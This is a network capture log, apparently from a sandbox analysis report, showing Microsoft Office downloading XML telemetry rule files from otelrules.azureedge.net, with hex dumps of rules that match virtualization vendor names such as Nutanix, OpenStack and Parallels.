2024-10-29 03:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 6be8f11f-201e-003c-5028-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035308Z-r197bdfb6b4gx6v9pg74w9f47s00000007v000000000ktq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:08 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 86dc56c9-201e-00aa-5987-283928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035308Z-15b8d89586f2hk281qydt1fyf0000000018g0000000041sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:08 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035308Z-16849878b7867ttgfbpnfxt44s00000005s000000000pyda x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:09 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035309Z-16849878b785dznd7xpawq9gcn00000007bg00000000bt09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49815	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:09 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:09 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2cfbf663-801e-0083-68dc-26f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035309Z-r197bdfb6b466qclztvgs64z1000000007kg000000007r2p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:09 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:09 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: b7b81bb6-b01e-0084-3bc8-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035309Z-17c5cb586f6r59nt869u8w8xt8000000050g000000003uva x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:09 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90538902-201e-0096-67fc-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035309Z-15b8d89586ffsjj9qb0gmb1stn0000000a7g000000004qzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:09 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:09 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035309Z-16849878b7867ttgfbpnfxt44s00000005u000000000g50v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:09 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:10 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:10 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035310Z-16849878b78fkwcjkpn19c5dsn000000050g000000008pum x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:10 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:10 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:10 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035310Z-16849878b78sx229w7g7at4nkg000000046g00000000dh31 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:10 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49821	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:10 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:10 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035310Z-16849878b787wpl5wqkt5731b400000006t0000000006mkv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:10 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:10 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 24f7a248-a01e-0053-7a83-298603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035310Z-17c5cb586f6w4mfs5xcmnrny6n00000007m000000000geus x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> 